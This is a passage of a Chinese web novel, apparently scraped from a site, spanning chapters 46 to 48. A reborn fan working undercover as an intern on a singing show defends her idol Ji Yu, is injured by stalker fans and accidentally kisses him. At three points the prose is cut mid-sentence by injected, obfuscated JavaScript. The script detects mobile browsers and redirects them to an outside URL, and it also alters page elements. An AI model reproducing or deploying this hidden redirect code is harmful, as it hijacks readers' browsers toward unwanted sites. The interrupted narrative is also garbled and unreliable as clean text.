音乐还在继续,他的职业操守带着他完美地接上了下一段歌,但心绪已经不似刚才。有那么一瞬,他产生了一个荒谬的冲动,想走到她面前,问她为什么哭。但他不能。 这是他重生后实现人生转机的一个重要比赛,他一定要全力以赴。 他只能暗自将这份揪心感,全部灌进他的歌声里。 他不知道的是,他的情绪异动恰好赋予了歌曲更生动的表现。 曲毕,全场静默了好几秒,然后,掌声如雷。 导师席上,五位导师都站了起来。 “好惊喜,”那位严格的导师率先开口,声音很激动,“我没想到,一个新人,这么年轻,能有这样的情感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大屏幕上亮出规则:“第二轮的竞演,将采用合作模式。八位高分选手,将抽签决定合作的搭档,两人一组,共同完成一首歌的改编演唱。这轮不只是创意实力战,还需考验创意协作的能力!” 现场观众议论纷纷。 参赛者们面面相觑,有兴奋的,亦有担忧的,毕竟这个赛制意味着,即使个人实力再强,如果遇到不配合的搭档,也会影响到自己的分数。 “现在,请积分前三的选手,率先上台抽签!有请成子秋、纪屿、黄隽玉上台来!” 到场的观众有不少成子秋的粉丝,他的观众票遥遥领先,获得了最多的总积分;纪屿是获得了评委的高分,评委票权重高,因此他总积分排第二。 三人走上舞台。黄隽玉是一名二十岁出头的女歌手,她有些胆怯地站着那二人身后。纪屿和成子秋在短暂地对视了一眼,纪屿的表情万分平静,成子秋则是对他礼貌一笑。 林定看着这场面,感到惊奇无比,毕竟若干年后的对家,竟然在这一世提前成为了对手。 透明的抽签箱被推上来,里面是剩下四位选手的名字牌。 成子秋第一个抽。 他将手伸进箱子,取出一张折叠的卡,递给了主持人。 主持人展开,对着话筒念出那个名字。 “纪屿!” 观众哗然。 成子秋微微皱了皱眉,又很快松开。 主持人也没料到是这样,愣了两秒才反应过来:“啊……哇塞……按照规则,纪屿就不用再抽签啦,成子秋和纪屿将成为第二轮的搭档!” 台下,林定瞪大了双眼,呼吸都变得不规律了。 46.46 挨骂?开除? 她看到那俩人面色平静地在台上握了握手。导师席上,几位老前辈露出了有点意思的表情,孟泳书则嘟着嘴唇,小声对旁边的导师说了句什么话之后,两人都笑了。 抽签组队的环节很快就结束了,第一期的录制也就到此为止。休息个几小时,则又要继续录制搭档选歌的环节。 成子秋团队的休息室里,他的经纪人来回踱步,脸色很难看,林定和其他工作人员都在一旁大气都不敢出。 “开玩笑吗?和那个新人一组?”他翻了个白眼,“和他一组,没有一点好处!我打听了,问鼎娱乐十分不看好他,根本不给资源和流量……我们和他一组,只会被他蹭热度!!再说了,那人今天抢尽了风头,导师评价那么高,搞不好你会成为他的陪衬,被他比下去!” 成子秋坐在化妆台前,任由化妆师帮他补妆,沉默不语。 “不行不行,我得去和导演组沟通一下,这抽签赛制定的完全就是针对我们!想办法干预下后面的赛制规则,争取点优势……”经纪人扶了扶眼镜,说着就要往外走。 “刘大哥,”成子秋忽然开口,示意化妆师停止手上的工作,化妆师识趣地收拾东西从门口退了出去“我有信心。规则就是规则。” 经纪人老刘停下脚步,回头看向他,冷笑一声:“你有信心?你好好搞清楚,为了这个综艺,公司在你身上投了多少财力和资源?初舞台的结果本就不符合预期,公司这么费心培养你,没想到你竟然比不过那个没背景没人捧的小子?!这样公司给再多钱给你保镜头都没用,你当观众是好糊弄的?我都还没骂你,你就在这和我扯什么鬼信心,要是你拿不了冠军,我怎么和老板交代?” 他眼神冷冷地扫过包括林定在内的所有工作人员,补充道:“这回,要不是有你的现场的粉丝给你兜底,你都输给人家了。他导师分可是比你高的多!我告诉你,接下来,我不管你搭档还是什么赛制,你都绝不能比那新人逊色!一点点都不行!听到没?” 成子秋透过镜子,看着他经纪人怒目圆睁的脸,轻轻点头。 老刘看那成子秋不争气的死样子,心下火更是茂盛。他忽然看向林定,火气找到了新出口:“林定!” 林定吓了一大跳,忙应声。 “你愣着干什么?快去打听一下那新人纪……纪什么那边是什么情况啊?他拿了好成绩,问鼎娱乐接下来应该不会不管他了,还有,你去给我找他选取的背景,他今天唱的那首歌是不是找人代写的?版权清不清楚?有没有什么能做的文章——” “刘大哥,”成子秋打断了他,从化妆台前站了起来,“她只是实习助理,不是商业间谍。” 老刘被噎了一下,脸色是不可置信,“实习生就不用干活了?她现在是我们团队的人,就要做事!” 嘴上骂着林定,实则是对成子秋态度的警告,他真没想到,一向顺从的成子秋竟然在短时间内打断他说话两次! “正因为她是我团队的人,”成子秋直视着老刘,“她才更应该做她职位该做的事。她需要把精力全部放在协助我准备比赛上面,而不是去做那些事。” 老刘气得直指成子秋,寻思着要想办法好好治治这崽子,他转身摔门出去。 休息室里,其他工作人员看了眼惊魂未定的林定,又看了眼目光落在林定身上的成子秋。他们识趣地说“我去看看服装”、“我去看看舞台效果”后,纷纷离开了休息室。 休息室瞬间就安静了下来。 林定低着头,手指绞着手中的纸质表格。 “你刚刚,”成子秋忽然开口,“在台下哭了。” “在纪屿唱歌的时候。” 林定眼神无措地抬起头,发现成子秋正平静地直视着她,脸上看不出什么表情。 ……他这话,不是疑问句,而是陈述句。 可他明明坐在她前方的区域,隔着还有挺远的距离,怎么会发现…… 他低下头,沉默地看着她,而她根本不敢与他对视。 林定张了张嘴,却真不知道要怎么回答。 “我是被感动了,”她绞尽脑汁后并没有想到什么高情商回答,只得无奈小声道:“他唱的很催泪。” 突然又静了下来。 林定把手里那几张纸捏来捏去,手指不小心被钉书针划破了,她疼的皱了皱眉。 “纪屿确实很厉害。”成子秋没有追问,声音很轻,“那首歌真不错,是个很有实力的歌手。” 林定惊讶地看向他。她是真没想到,在刚才老刘那一顿话语之后,成子秋还会这样认同竞争对手的实力。她虽然内心在疯狂点头,但是理智却一而再再而三地提醒她,自己来欣喜娱乐的最终目的,因此,她只是冲他笑了一下。 “所以老刘才会那么紧张。”成子秋勾了勾嘴角,语气有些自嘲,“他也看出来了,纪屿不是普通的对手,和他分到一组,我的压力会很大。” 林定抿着唇,点点头。 他犹豫了一下,忽然问:“你和纪屿认识,对吗?” 这一句话,就像冬天冰河里的水泼在了林定头上。 她心内狠狠地打了自己一巴掌。还是瞒不住,她表现的太明显了。 林定屏住呼吸,大脑飞速运转,编造道:“他是很有名的练习生,我之前……有几个同学是他的粉丝,我就多留意了一下。” “不只是留意那么简单吧。”成子秋的语气寻常,可林定却好像被棒击了一样,又在催促自己的死脑子快点想对策。 就在这时,休息室的门被敲响了。门外传来综艺工作人员的声音:“成老师,纪老师那边问,想录制前先一起讨论一下第二轮的合作,看您什么时候方便?现在可以吗?” “好。”成子秋对门那边回应道。 他看林定一副纠结痛苦的模样,心有些软下来,说道:“老刘刚才对你说重话了,你不要放在心上,他就是这样。” 林定轻轻嗯了一声。 他转身向门那边走去,犹豫了一下,又补充道:“以后还遇到这种事……可以告诉我。” 他开门离去,门又再次关上。 林定独自在休息室里,滑坐到椅子上。 难啊,难啊!重生该有的的金手指呢!好像一切都发生在意料之外! 太乱了。 一切都是从纪屿放弃成团,以个人身份参加这个综艺开始,走上了新的轨道。 说是好事也是好事,毕竟暂时偏离了前世那条注定死去的路…… 可坏也有些坏…… 本就对自己的无所作为感到痛苦的林定,这下还要面对这变数带来的新问题。 纪屿和成子秋成了下一轮的合作搭档;老刘对纪屿的敌意爆满;成子秋还在探究她和纪屿的关系…… 她打开手机,用“热爱屿林”的帐号,将刚才自己手机拍的纪屿帅照精修后上传到微博里,并在几大粉丝群里提醒大家要每天做数据,反黑,保护自家艺人…… * 不知过了多久,休息室的门重新被推开。林定以为是成子秋回来了,连忙站了起来。 但进来的是经纪人老刘,他身后还跟着两个宣传组的工作人员。 老刘看到林定,依旧没给好脸色,但相比之前已经冷静很多:“你去给子秋买杯美式,然后……”他语气低沉,“如果遇到问鼎娱乐那边的人,离远点。别让他们朝你打听!听到没?” 林定点点头,准备出门。 就在她走到门口的时候,老刘又阴阳怪气地骂道:“也不知道那姓纪的小子走了什么狗屎运!不过没关系,节目组才不会给多几个镜头到那垃圾新人的……” 林定她停下脚步。 她真的很难忍,别人这样贬低她的偶像。运气?纪屿什么时候有运气了?前世一直都特别不顺利,他都是自己一步一个脚印,每一首创作都是这么地用心!如果有运气,那前世的结局就不会是…… “那个新人唱的真的很不错,很有实力,不是靠运气的。”她开口道,声音很清晰。 休息室里沉寂了一瞬。老刘身后的两位宣传组的同事皱眉对她摇摇头,示意她不要再说了。 老刘脸上是可笑的表情,不太想与这没脑子的学生计较:“小林啊,你见识得少,看的不够透彻啊!这种人就是昙花一现,歌八成不是他自己写的,搞不好真是请了枪手,营销创作型歌手的人设罢了!第二轮有他好看的,敢挡我们的路,都没好果子吃!” “枪……枪手?”太侮辱人了!林定难以置信地反问,声音有些失控,显得格外大声。 老刘被她的音量吓了一跳,脸色瞬间震怒:“你对我大声喊是什么意思?” 宣传组的同事倒抽一口凉气,拼命对林定使眼色。 林定也知道自己冲动了,但话已出口,她也没法收回,也不想收回。她努力平静下来,迎上老刘正在喷火的目光,以就事论事的语气道:“我只是想说,那个新人今天的表现,几位导师都对他赞不绝口,是凭实力获得的认可。我们成子秋老师也很优秀,但还是要正式对手的实力才是正道,贬低对手并不能让自己显得更强大—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035774|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “林、定!”老刘的声音咬牙切齿,他一步步朝她逼近,手指指着她的脸,差点戳到她,“你他妈到底记不记得你是来实习的呢?啊?谁给你的胆子顶嘴了?成子秋吗?成子秋教你这样顶撞我的?你说的又是什么瞎扯的鬼话?厉害了是吧,觉得自己有远见?有主见?比我有经验?” 林定的手在发抖,但她努力地让自己站直,“他没有。我只是在讲事实——” “事实?”老刘气得大笑,“我告诉你什么是事实!事实就是你是个可笑的实习生!我随时可以让你滚蛋!把你炒掉!事实就是那该死的新人侥幸得到了风头,但在这个圈子里,爬得越高,摔得越惨!他底下还没有人接着他!问鼎娱乐本来就不把他当回事!事实就是你最好搞搞清楚你的工作和指责,什么话该说什么不该说,否则——” “刘大哥!” 门口传来制止声。 成子秋不知何时回来的,他站在门口,身旁站着和他一起走过来的纪屿,而成子秋的手微微抬起,似乎是为了拦住刚刚想直冲上前的纪屿。 纪屿皱紧了眉,目光和林定对视了,眼里是复杂难言的情绪。下一瞬,他又看向老刘的脸上,眼神冰冷。 成子秋的脸上的表情,是林定从未见过的严厉。“是我和她这么说的。她的观点和我一样。”他盯着老刘,老刘的表情更加难看了,但碍有外人在场,他只能强压怒气,皮笑肉不笑:“子秋你回来了?你带来的这个人是谁啊?” “我刚才去和我的搭档讨论接下来的合作曲方向了。”成子秋知道这老刘是明知故问,因此没有搭腔。 老刘拉长语调:“搭档是……? “纪屿。”纪屿语气不善地抛出姓名。 “噢~原来是新人啊。我有些脸盲,没记住脸,不好意思啊。”老刘笑着,但语气讥讽。 这摆明了就是暗骂纪屿长得没有辨识度呗?林定气的手又开始发抖。 纪屿没有接话,他看向林定,问道:“这位小员工,你刚刚是被训话了吗?” 这句关心在此刻的场合下,让老刘更生气了,他的脸色彻底黑了。他的声音大了起来:“您说笑了,我们正在讨论下一轮的需要注意的事项呢。” 真够假的。 成子秋侧头对纪屿礼貌道:“一会录制的时候我们再继续讨论吧,看时间有些来不及了,抱歉。还麻烦你跟着我白走了一趟。” 说完,成子秋走上前来,挡在了林定和老刘之间,他对老刘淡淡说:“休息的时间不多了,有些细节我要和您对一对,我们先去开会吧。”然后转向林定,语气温和了一些,“你去帮我买咖啡。” 这是他给她的台阶。 林定喘了口气,点了点头,低头从纪屿身边走过。擦肩而过的时候,她感觉到纪屿的目光好像一直跟随着她。 她加快了步子。 她刚才在做什么? 她差点毁了这一切。 如果被开除,她来这里就没有任何的意义,帮不上忙,什么都打探不到,无法保护他,无法兑现自己的承诺,更加无能! 可……当听到别人那般贬低纪屿的话语,她真的忍无可忍。 那个人,不能被那样轻蔑地看不起。 身后传来同样急促的脚步声。林定连忙用手背擦掉眼角不知道何时又跑出来的眼泪。 纪屿一个人走来,大步超过她,在她前方截停。 他看着她发红眼眶,与她对视。 “定定。”他轻轻唤她。 纪屿原本让工作人员把成子秋请来的私心原因是,想见一下那个小助理,并找机会问问她刚才为什么哭的,可成子秋却是孤身前来。 后来,纪屿的休息室人来人往,于是他便答应随成子秋回到人家的休息室这边讨论,可没想到,竟然撞到那样冲突的一幕。 “不用帮我说话。别为了我,和别人起冲突。”见她眼睛又落下一滴泪来,纪屿温柔地对她说,“我能保护好自己。你得答应我,先保护好你自己。” 他说完后,似乎还想说什么,但最终只是伸出手将她脸上的泪轻轻拭去,便转身离开了。 林定站在原地,望着他的背影,脸上还保留着他指尖的温热感。 现在的她太弱小了,弱小到连为他辩驳一句,都差点丢掉这份卧底的工作。 可是,如果重活一世,连为他说话都做不到,那她的重生又有什么意义呢? 林定用力地擦干所有眼泪。 路还很长。 而她,绝对不会后退。 47.47 悸动之吻 接下来的几天,都是综艺录制的日子。纪屿和成子秋在节目组复杂的机制下,选定了一首非常浪漫的对唱歌曲。 成子秋团队的人几乎没啥好脸色,因为他们觉得这个歌并不能让成子秋获得绝对的优势。只有林定暗自高兴着。因为这首歌,前世中并没有被纪屿唱过,对她而言,这可是全新的演唱。 这综艺节目,虽然没有要求参赛者们住在一起,但却是魔鬼一般的作息。每日天不亮时,便要抵达录制现场,直至深夜方能收工。林定每天早出晚归的,就算是和晓春住在一起,也基本上没有碰面的机会。唯一让林定喘口气的是,成子秋开始使用节目组为艺人准备的健身房,可算是免去了她清晨的酷刑训练,毕竟她一个小小助理,实在没理由,也没权利和众多艺人共享健身房。 对林定而言,纪屿与成子秋的搭档,无形中成了她的福利——她可以每天都光明正大地,近距离地见到纪屿。 可是呢,这福利……也些复杂。 排练首日,纪屿推开练习室的门,看到的竟是这样一幕:林定正微微倾身,倾听着成子秋对自己初舞台片段的痛点,耐心认真地在电脑上做记录。她表情专注,声音清晰地向成子秋传达公司上层对他这次舞台的期望和要求,成子秋也听得仔细,偶尔对她微笑点头,目光若有若无地落在她的侧脸上。 他们靠得很近,明明是在工作,却莫名让纪屿感到碍眼。 他站在门口,脚步犹豫不决。心头掠过一丝烦躁,很久没试过一大早就如此不快了。定定对他,不知道为何总是带着莫名的距离和抗拒,可对着成子秋……却能如此自然。 这点别扭的心思,他只好藏在了心里。接下来的两天,纪屿都有些沉默,除了和成子秋、声乐团队之间必要的改编讨论,他都不怎么说话。问鼎娱乐给他分配的助理小思,之前本不咋搭理他,谁料到纪屿竟然在初赛拿了这么高的评价,这导致公司开始对他加倍关注起来,让她不得不对纪屿重新示好。可纪屿根本不吃小思的那一套,特别是这两天,她越是谄媚,纪屿看她的眼神就越冷。 这男人,周身散发出一种极低的低温气场。 而林定,完全沉浸在工作状态中,努力做好助理的分内工作,把事情都执行得非常完美,也许是没有了老刘的打扰,她才有机会心无旁骛——老刘那天,被气的回公司去了,再也没有来现场过。 于是,明明每日都相见,纪屿和林定二人之间却只剩下了不经意间的眼神交汇。 直到排练的第三日,一场倾盆大雨,打破了一切。 早上下起了雨,越下越大,让得整个城市变得一片模糊。排练室中,成子秋和纪屿正在钢琴前推敲着和声的细节。成子秋无意之中看了一眼墙上的时钟,眉间收紧,起身走向一旁正整理他衣服的工作人员小朱。 “小林呢?”他开口问道。 小朱是老员工了,是欣喜娱乐的宣传助理,之前成子秋出席大活动的时候她都会跟着娟姐帮忙。这回也不例外,公司也安排她来《S+演唱荟》了,但是她干活的时候,却不像之前听娟姐话那样听林定的吩咐,她觉着林定只是个小小实习生,连她的名字都没用心记。 “成老师,小林是……你说那个实习生吗?”她的语气带着一丝不确定。 成子秋有些无语地看着她,点头默认:“我们下车的时候,她不是还在吗。她去哪里了?” 一旁的纪屿,指尖在琴键上的动作停了一停。 小朱不以为然地耸耸肩:“可能是去给您买咖啡了吧?这会儿雨挺大的呢,估计路上耽搁了。我打电话催催她?” 成子秋犹豫了一下,声音放缓:“已经一个多小时了,你去看看她是不是走错了路,这大厦里路况复杂。” 小朱心里嘀咕,自从上次林定顶撞老刘后,团队里不少人不咋搭理她,怕惹祸上身,态度都有些轻慢。但成子秋都发话了,她只好不情不愿地答应着,给她拨打电话,可没想到那实习生竟不接听。她心里一边埋怨,一边出去打听。 可这一问,脸色却变了。 她匆匆回到排练室,见两位歌手又沉浸在音乐创作之中,不敢出声打扰,只得不安地坐在一旁,直到成子秋再次投来了询问的目光。 “小朱?”成子秋放下曲谱,停下来问她。 小朱挠了挠头:“成老师,刚才下车时,跟车的私生太多了,场面有点乱。安保都差点拦不住,小林她……额,太热心,她下车后就在帮忙拦私生,结果人太多,被几个私生推挤摔倒了……” “她人呢?”两道不同声线的声音同时响了起来,带着相同程度的急迫。 成子秋略显诧异地望向纪屿,却见对方根本不在意他的眼光,只是面色不悦地盯住小朱。 小朱第一次被两位帅哥直直盯着,顿时感到压力爆增,回答都变得急促了:“雨太大了好多积水和泥坑,她摔得从头到脚都是泥,好在人没大事,就是脚崴了,还有点擦伤而已。节目组医务室简单给她处理过了,又带她去工作人员的洗浴间清理了一下。这会儿应该快回来了吧。” 她话音刚落,成子秋便扬声打断了正在进行的拍摄:“导演,上午的录制先到这里吧。我状态不太好,想休息调整一下。” 负责跟拍的摄影老师愣了一下,这才上午十一点?素材还没拍够呢,这有点太…… 纪屿也站了起来,对着摄影老师说道:“我也需要点时间消化刚才改编的部分。辛苦各位老师,我们下午再继续吧。” 两位参赛者同时要求暂停,节目组也只好答应下来,开始收拾设备离开。 就在众人凌乱,气氛微妙的时候,练习室的门被轻轻推开。 林定扶着门框,有点费力地挪了进来。她换上了节目组借给她的,印着S+演唱荟的宽大黑色T恤,头发湿答答地披在肩膀上,显然是没来得及吹干。她的脸有些苍白,走路一瘸一拐的,一进门,她就感受到了数道目光朝她射了过来:声乐老师、节目组工作人员、小朱、小思、还有…… 纪屿和成子秋。 两人的目光里面的情绪瞬间将她唬在了原地。练习室里无人说话,只有收拾设备的碰撞声响。 林定被这情况弄得有些呆住,她欠了欠身,小声道歉:“对不起老师……我来晚了。” 小朱反应最快,她立刻上前扶了她一下,扬声道:“上午录制刚结束了。小林,你先休息吧?” 她又转向摄影老师和节目组的其他工作人员,再三叮嘱道:“老师们,刚才那几段关于工作人员意外的小插曲,麻烦千万千万不要剪进任何正片或是花絮里,拜托了!” 在得到肯定的答复后,小朱领着其他工作人员走出去了,并顺手带上了门。纪屿盯了一眼正准备开口说话的小思,小思被他的眼神吓了一跳,也识趣地退了出去。 偌大的练习室里,只剩下三人。 成子秋大步走向林定,平日里总是看不透的眼眸此刻竟变得清晰无比,盛满了担忧和焦灼,与他平时那种精致的人设截然不同。“还能坚持吗?”他语气并不平静。 纪屿站在原地,看着林定受伤的脚和没什么血色的脸,手指握紧了。他开口,冷硬地将矛头直指成子秋: “成老师,你的助理伤成了这样,还不给人放假,太不近人情了吧?” 成子秋没有回头看纪屿,目光依旧直视着林定。他沉默了一瞬,有些无奈地叹了口气,放缓了语气对她说:“又是私生……下次你别管他们了。这不是你的主要职责,我有请安保。” 他轻轻拍了拍她的肩,“小林,你今天先回家,好好在家休息一天。” 就在这时,成子秋的手机震动了起来,他拿出来,原来是老刘的来电。他看了一眼,眼神复杂地在林定和手机之间转了一圈,露出了不想接却不得不接的纠结烦躁。 “成老师,你接电话吧。”林定指了指手机。 “好。”他回答道,语气里带着歉意,“你打车回家吧,回头我给你报销车费。”说完,又深看了林定一眼,才拿着手机快步离开排练室。 那门关上后,练习室里只剩下了林定和纪屿。空气是安静的,可他们两个人的内心却并不安静。 纪屿看向林定受伤的右脚上,脸色沉了沉。他环顾一圈,确认房间内剩下的摄像机都已关闭后,便迈步走向她,声音很低却很温和: “定定,跟我来一下楼梯间。” 他没有搀扶她,只是走在她前面半步。纪屿的步子放得很慢,时不时回头确认她有跟上。林定心里泛起一点小小的抱怨:他都看到她走路这么费劲了,怎么……也不想着扶一下?可下一秒,她又想到,他可是纪屿,是明星,这里是综艺现场,哪怕录制已经暂停,也可能有很多双眼睛在盯着。他任何一点过于亲密的举动,都很有可能会被放大解读,而这种情况下,明星往往不是最受伤的那一个,反倒是她这样的素人才是……他也许是不想给她带来网暴,他是在保护她。 这个认知,让她心里有些发酸,也涌起了一股暖流。 两人前一后,沉默地挪到与排练室相邻的消防楼梯间。厚重的防火门在身后关上后,瞬间隔绝了外面的人声和目光,只有头顶的声控灯散发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别动,我看看你的脚。”纪屿的声音很轻很轻,从下方传来,他低着头,伸出手想查看她脚踝的伤势。 这个角度…… 林定第一次清晰地俯视着纪屿。 是前世电子屏幕内、站姐美图都没有的角度…… 他浓密而柔顺的发顶,优于常人的高鼻梁,以及那长长的睫毛…… 此刻,他就蹲在她面前,不嫌药油气味,为她仔细检查扭伤。 没有舞台灯光的加持,也不是镜头前的完美角度,只是在楼梯间声控灯微弱的光线下,一个真实的、会皱眉、会担心自己的纪屿。 他好像……不再是那个需要她仰望的,无法触及的偶像了。 他只是纪屿而已。 好让人心动。 这个认知像雷电一样,轰地一声劈开了林定在心中那条自设的,名为粉丝边界感的界限。 声控灯因这持久的安静熄灭了。 黑暗掩盖了她的红透了的耳根,却掩盖不了她的悸动。 林定瞬间慌乱了。 不!你不可以这样想! 理智在尖叫着警告她。她像是被这一瞬间越界的念头给刺痛了,她受伤的脚猛地从纪屿手中后退,似乎想要拉开这过于亲密的距离。 “小心。”纪屿见她几欲向后摔倒,急忙伸手去拉她。 可林定她退得太急,受伤的脚根本没办法支撑这突如其来的拉扯,她整个人瞬间失去了平衡,惊呼一声后,直直地向前倒去! 纪屿拉她的手下意识地变成了承接。巨大的冲力让他也踉跄了一下,背部抵住了冰冷的墙壁。 时间仿佛被无限拉长。 又被定格。 声控灯再次应声亮起。 林定只觉得天旋地转,然后撞进了一个温暖的怀抱里。 预想中的疼痛没有如期到来,嘴唇上却传来了一种陌生柔软的触感。 还有好闻又熟悉的气息。 她的大脑一片空白,难以置信地睁大了眼睛。 咫尺之间,是纪屿那极其漂亮的眼睛,里面有着与她同样的震惊。 她的嘴唇…… 正不偏不倚地,印在了他的唇上。 寂静的楼梯间里,只剩下两人失控般的心跳声。 轰隆!!!!! 林定的脑海里,仿佛有千千万万的炮竹同时炸开了,又瞬间化为一片空白。 我……我……我…… 我……亲到了……我的偶像?! 48.48 心动 嘴唇…… 是柔软的,属于另一个人的温度和触感。 林定的心底,有一瞬极其短暂却无比热烈的心动。 她亲的可不是别人,而是她心尖上的那个人。 不过,喜悦只有那一瞬。 巨大的羞耻感和理智将她先前的情绪强压了下去。 怎么会这样…… 这摔跤的方向真是大错特错……但凡稍微偏离一点呢? 林定,你到底在做什么?! 内心有个声音在对她大声尖叫,试图让她清醒过来。快!后退!立刻!马上!离开这不应该存在的危险零距离! 可她的大脑却好像和身体断了链接,肢体不知为何失了力气,又或许是被眼前那股气息蛊惑住了,竟僵在原地,无法动弹。 甚至,有那么一刹那,短到她怀疑是自己的错觉……她感觉到那紧贴着她的唇瓣,似乎轻微地在回吻她。 不……不可能…… 一定是出现幻觉了……林定你可是事业粉!是生命粉!你怎么可以有这种梦女才会有的幻想呢!? 前世,她最鄙夷和最讨厌的,不就是那些仗着工作之便以及私下跟踪,对偶像动手动脚,毫无边界感的私生狂粉吗?她一直捍卫着的是,爱是给他空间、爱是远离他生活的信条。可如今呢……如今…… 她不仅闯入了他的生活,还以这种方式……荒唐地摔进了他怀里,一不小心亲到了他。 心跳好快,血液直冲头顶,林定的耳根红了个透,烫的像是要冒烟。巨大的罪恶感终于化作了一股力量,让她的肢体和大脑重新连接。 她狼狈地挣脱了一下,离开他的臂弯。 力度虽小,却让她踉跄着向后退了两步。受伤的位置传来了一阵剧烈的疼痛,让她差些就再次失去平衡,但幸好她近日健身强化了自身核心,她强行站稳了,拉开了距离。 林定的手立刻捂住了自己的嘴。她低着头,不敢再抬头看纪屿,声音发抖地重复道:“对不起……对不起对不起……我不是故意的……真的对不起……” 他会怎么想呢?觉得她是没有边界感的人?觉得她本就图谋不轨,觉得她是故意的? 他是不是会非常,非常讨厌她呢。 楼梯间安静地只能听到她紊乱的呼吸声,对方的沉默在此时似乎比任何的大声指责都更加让她感到无地自容。她感觉自己就是个作了恶的罪人,现在只想马上逃离这个社死现场。 林定咬咬牙,忍着脚痛,转身就往消防门的方向挪去。 然而,她还没够到门把手,一只有力的手突然就从她身后伸来,紧紧地握住了她的手臂。 林定又是一僵,错愕地回了头,与纪屿的视线在空中相遇。 纪屿沉默如初,只是看着她,眼神陌生又复杂。 声控灯灭了,又亮了。 林定的余光扫向他握紧的手,她艰难地咽了口唾沫,每次喘息都牵扯着自己易碎的神经。 他手心的温度,他的呼吸节奏声,以及刚才那短暂的亲吻触感……所有的细节,都在此刻被无限放大,在林定的脑子里反复播放。 * 她狼狈躲闪的神情,和脸上未褪的红晕,在昏暗的灯下,一一落入了纪屿的眼里。 他本就被那意外搅得错乱了的心跳,此刻,更是失了章法。 * “七十六。” 司机的大嗓门从前排传来,打断了林定脑海中不断闪回的画面。 “哦哦哦,好的好的!” 她回过神来,手忙脚乱地抓起手机,给司机扫码付款。推开车门下车时,她甚至完全忘记了要和司机索要发票。这对于她这个连一分钱都必须报销、不能倒贴给公司的两世社畜来说,简直是不可思议的重大失误。 雨已经停了,林定站小区大门前,午后的阳光十分刺眼,她却觉得浑身发冷。大脑依旧不能正常使用,她浑浑噩噩地走进去,上楼。 所以,她是怎么从那楼梯间里出来的来着? 好像是她用力地抽回了手臂,含糊地又难过地说了句“对不起”,然后一瘸一拐地推开了消防门离去。纪屿似乎说了句什么话,但她当时意识混乱,耳鸣得很厉害,什么都没听清……更准确地说,是她不敢听清,毕竟她本就是落荒而逃。 再后来,她失魂落魄地离开了那栋楼,在路边随手拦了辆车。司机问去哪,她呆了好几秒,才报出了地址。 钥匙在锁孔里怼了好几次才成功进去。 * “林小定!你今天怎么回来这么早……我去?你的脚是怎么了?” 晓春下班回来,看到躺在沙发上,脚踝敷着药,眼神空洞的闺蜜,吓了一大跳。 “没事……不小心扭了下。”林定的声音弱弱地传来。 “啊?你看医生了吗,你咋回来的?你那小明星领导让人送你回来的么?” 晓春担忧地发问,凑过来查看她的伤势。 “我是什么东西,哪有人会送实习生回来……没啥大事,休息休息就好了。”林定不敢再回忆今日的一切,试图把话题转移走,“你今天下班也挺早诶,这才七点多你就到家了。” “别提了,今天召集实习生自愿报名去综艺支援……我赶紧溜了,我看你每天忙的要死,我才不去做什么现场支援呢。”晓春总觉得林定闷闷不乐的。她整个人的状态都怪怪的,眼神飘忽不定,问她细节就敷衍回答,问她节目里有没有趣事,她也只是摇头。 于是,晓春打算和她说点开心的。“你知道他们去支援啥不?你担啊,真的是要好起来了!纪屿自己去那综艺,公司本来都特不看好,也没派什么人去帮他,现在网上热度越来越高,我们老板就说要派人派车去支援。对了,传闻还有些ATW的资源,似乎要单独给到他。” 林定本来听到纪屿的名字,就直想逃避,可听到最后一句,又起了疑惑。“把顾蓝他们团的资源,单独给纪屿?那别人不会有意见吗?” “具体的我也不清楚……但是ATW的粉已经开始阴阳了,对内成员大概也会心有怨言吧。不过应该也没什么吧?我在顾蓝的散粉群里,他们都很支持纪屿的,毕竟大家都知道纪屿和顾蓝在练习生时期关系就一直很好……我们家粉还挺感激纪屿单飞的,不然的话,ATW的C位还真不一定是我担呢。”晓春掏出手机,递到林定眼前,“喏,你看,我在顾蓝的散粉群里嘛,他们大部分都支持的啦。” 林定看向晓春,笑道:“你偷偷加顾蓝的粉群,你同事知道不?” “哪能让他们知道?诶不跟你扯了,我要点外卖了!我给你点清淡的咯?” “好。晓春,你帮我把电脑拿过来下。” 林定心里还是存有一些担忧。顾蓝没意见,那ATW另外两个人呢? 任声声和许栖铜……这两个人的名字和样貌都浮现在林定眼前。 前世,他们团四个人,各有风采,可热度大都集中在纪屿和顾蓝二人身上。任声声的口碑特别好,创作的歌曲好听但有些小众,在人人争当太阳的名利场里,他从来都是淡淡的,综艺里也是甘作绿叶的人;许栖铜则不一样,业务能力不拔尖另说,各种综艺里还抢镜头,短视频故意搞抽象,在社交平台还阴阳过队友几次,当初几家粉丝在网上厮杀过好几回。 最让林定感到心寒的是,纪屿出事的时候,只有顾蓝站出来替他说话,曝光纪屿被雪藏的真相,而这两个人在纪屿抢救期间什么都没说,甚至还被网友偶遇这二人线下购物…… 冷血无情的队友……也不知纪屿的死,和他们有没有关系。 她打开电脑,把广场上那些ATW粉丝阴阳谩骂的话语截图并附带链接发到纪屿的反黑群。 “家人们,反黑啦!” 晓春真觉得奇怪,这个人怎么说来精神就来精神。 * 